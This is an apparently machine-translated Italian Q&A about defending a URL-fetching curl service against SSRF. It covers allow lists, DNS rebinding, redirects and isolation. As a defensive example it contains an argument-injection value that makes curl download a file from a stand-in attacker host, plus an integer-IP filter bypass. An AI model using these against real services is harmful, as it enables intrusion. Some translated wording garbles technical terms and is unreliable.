Una richiesta di arricciatura a un URL arbitrario è sufficientemente sicura?

SSRF può essere mitigato solo con una white list (regolarmente aggiornata) di host o URL che sono noti per essere sicuri, cioè che non hanno effetti collaterali che dipendono dall'IP sorgente e dove l'accesso a un URL non sarà causare una segnalazione di abuso, una suite legale o simili contro il tuo sito (ad esempio perché qualcuno cerca di trovare pagine nascoste su un sito o fare minacce di bombe).

Una lista nera ti aiuterà ma non è sufficiente.

Per aggiungere a ciò che ha detto Steffen e fornire alcuni esempi, si vuole fare una whitelist se possibile. La lista nera, come quello che stai proponendo, può essere aggirata.

Ad esempio:

http://2915201827/ - Questo è un sito web valido. Sai quale sito web è?

Inoltre, lo strumento come descritto è un proxy. Senza la limitazione, qualcuno potrebbe utilizzare questo strumento per eseguire attacchi contro un'altra applicazione e il tuo sito sarebbe quello con il toro delle forze dell'ordine. I tribunali statunitensi non sono stati molto gentili con il "ma è stato aperto il wifi, chiunque avrebbe potuto farlo" scusa, quindi c'è un precedente per questo.

Devi essere molto attento a come invochi cURL e, idealmente, usa una libreria invece dello strumento da riga di comando. Ad esempio:

runtime.exec("curl " + url);

in Java non consentirebbe a un utente di inserire questo: ; ls blah/ , ma consentirebbe a un utente di inserire questo:

-O /tmp/asdf http://attacker.example.com/hahaipwn.txt .

Parole finali:

C'è molto da considerare con un servizio del genere.

if cURL is configured to follow redirects, the redirect must be validated the same way as the original IP, since forging a redirect is trivial

Sì. Sarebbe meglio non ottenere il ricciolo per seguire i reindirizzamenti e invece controllare manualmente l'intestazione Location quando viene rilevato un reindirizzamento.

IPv6: Everything for the nice old IPv4 address space must be redone there too, right?

Sì, se stai supportando IPv6.

Are there some ports to filter by? Remember schemes are restricted to http(s) and ftp. This may still technically be a port scanner but not necessary malicious but getting a website from port 675 might be ok. Prevent DoS remote urls: Implement some sort of token (CSRF token alike), introduce timeouts between multiple requests, say 1 second or ban IPs which keep hammering. (Does of course not solve DDoS, but preventing DDoS is probably outside of the scope here)

Dipende dalla funzionalità che stai cercando di supportare. È possibile rilevare più tentativi dallo stesso IP o dallo stesso IP e la velocità li limita, eventualmente mostrando loro un CAPTCHA dopo un po '.

One last thing I cannot fully get my head around:

What's with DNS? Is it possible to register a DNS entry to point to localhost or private networks?

Sì. È perfettamente possibile puntare un record A a un indirizzo privato. Inoltre, è possibile puntare un dominio non correlato a un indirizzo privato e quindi puntare un CNAME su quel dominio, provocando in effetti la risoluzione all'indirizzo privato.

On my machine I technically can perform a GET of http://my.box and get my router. Now how can somebody mitigate that risk?

Dovresti isolare la macchina che serve le richieste alla propria sottorete. Ciò avrebbe solo accesso a un gateway Internet configurato per indirizzare solo il traffico verso l'Internet pubblico.

Is performing a nslookup a solution? If I get an IP, validate the IP. If not, it may be anything, deny. I keep forgetting what my NAS does so I can reach it via host name in my local network, but being paranoid is probably a good way here.

Sì, a patto che dici esplicitamente a curl di seguire quell'IP.

È necessario che la ricerca e la richiesta di arricciatura siano unificate. In caso contrario, un utente malintenzionato potrebbe impostare un TTL molto basso (Time To Live) e aggiornare il record DNS prima dell'esecuzione di Arricchimento. Altrimenti si verificherebbero anche problemi con il caching delle voci.

Ad esempio, il parametro --resolve curl consente di specificare il nome host e la porta separatamente in modo da potersi connettere all'IP verificato in precedenza, ma rendere l'arricciatura come se l'avessi indicato come nome host completo. Dalla pagina man:

--resolve Provide a custom address for a specific host and port pair. Using this, you can make the curl requests(s) use a specified address and prevent the otherwise normally resolved address to be used. Consider it a sort of /etc/hosts alternative provided on the command line. The port number should be the number used for the specific protocol the host will be used for. It means you need several entries if you want to provide address for the same host but different ports.

This option can be used many times to add many host names to resolve.

(Added in 7.21.3)

es. curl --resolve www.example.com:443:203.0.113.24 https://www.example.com/

Ovviamente tutto quanto sopra non impedisce che i rapporti di abuso vengano archiviati contro di te da host di destinazione. Ad esempio, esiste sempre il rischio che qualcuno possa utilizzare il proprio servizio come proxy per sfruttare un altro server (ad esempio tramite SQL injection). Sebbene non sia infallibile, è necessario creare e conservare registri di controllo completi per l'utilizzo del proprio servizio.